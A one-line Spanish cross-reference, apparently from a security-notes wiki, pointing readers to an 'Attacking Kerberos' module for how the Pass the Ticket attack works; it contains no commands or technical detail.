Para ver cómo funciona la modalidad de ataque Pass the Ticket ir al módulo Attacking Kerberos

Last updated